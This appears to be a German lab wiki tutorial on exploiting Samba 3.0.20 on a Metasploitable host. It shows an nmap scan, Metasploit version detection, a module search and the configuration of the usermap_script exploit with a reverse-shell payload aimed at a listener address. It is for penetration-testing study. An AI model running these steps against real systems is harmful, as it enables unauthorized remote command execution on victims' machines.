Metasploit Exploit und Payload (Samba)
Version vom 2. November 2020, 14:34 Uhr von Robin.will (Diskussion | Beiträge) (→Konfiguration des Samba Modules)
Schwachstelle suchen
- Mittels nmap einen Port suchen. In diesem Fall Samba.
- Befehl: root@kali:~# nmap -sV 10.82.1.101
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-02 12:48 CET Nmap scan report for 10.82.1.101 Host is up (0.00015s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open tcpwrapped 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open rpcbind 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Genaue Version
Durch nmap kann die genaue Version von Samba nicht gesehen werden. Deshalb wird ein Modul von Metasploit benötigt.
- Es wird folgender Befehl in der msfconsole abgesetzt um das Versions Module zu nutzen:
- msf5 > use auxiliary/scanner/smb/smb_version
- Nun wird noch die RHOSTS (Die IP des Opfers) benötigt:
- msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.82.1.101
- Durch den Befehl show options werden die momentanen Einstellung gezeigt:
- msf5 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.82.1.101 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads (max one per host)
- Durch das absetzen von dem Befehl run kann nun die genaue Samba Version ermittelt werden
- msf5 auxiliary(scanner/smb/smb_version) > run
[*] 10.82.1.101:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
Passendes Module suchen
- Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden:
- search Samba 3.0.20
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/http/wp_easycart_privilege_escalation 2015-02-25 normal Yes WordPress WP EasyCart Plugin Privilege Escalation 1 auxiliary/admin/smb/samba_symlink_traversal normal No Samba Symlink Directory Traversal 2 auxiliary/dos/samba/lsa_addprivs_heap normal No Samba lsa_io_privilege_set Heap Overflow 3 auxiliary/dos/samba/lsa_transnames_heap normal No Samba lsa_io_trans_names Heap Overflow 4 auxiliary/dos/samba/read_nttrans_ea_list normal No Samba read_nttrans_ea_list Integer Overflow 5 auxiliary/scanner/rsync/modules_list normal No List Rsync Modules 6 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State 7 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86) 8 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86) 9 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load 10 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow 11 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow 12 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86) 13 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow 14 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution 15 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow 16 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
- Wir entscheiden uns hier für das exploit/multi/samba/usermap_script Module und schauen uns das Module genauer an indem wir das Module erstmal laden durch:
- use exploit/multi/samba/usermap_script
- Und mittels des Befehls info kann eine genaue Beschreibung des Modules eingesehen werden.
- Anhand der Beschreibung durch info kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.
Konfiguration des Samba Modules
- Für das Module muss wieder der RHOST und ein PAYLOAD eingetragen werden.
RHOST
msf5 exploit(multi/samba/usermap_script) > set RHOST 10.82.1.101 RHOST => 10.82.1.101
PAYLOAD
msf5 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse PAYLOAD => cmd/unix/reverse
- Mit show options kann die momentane Konfiguration
msf5 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.82.1.101 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.82.10.99 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port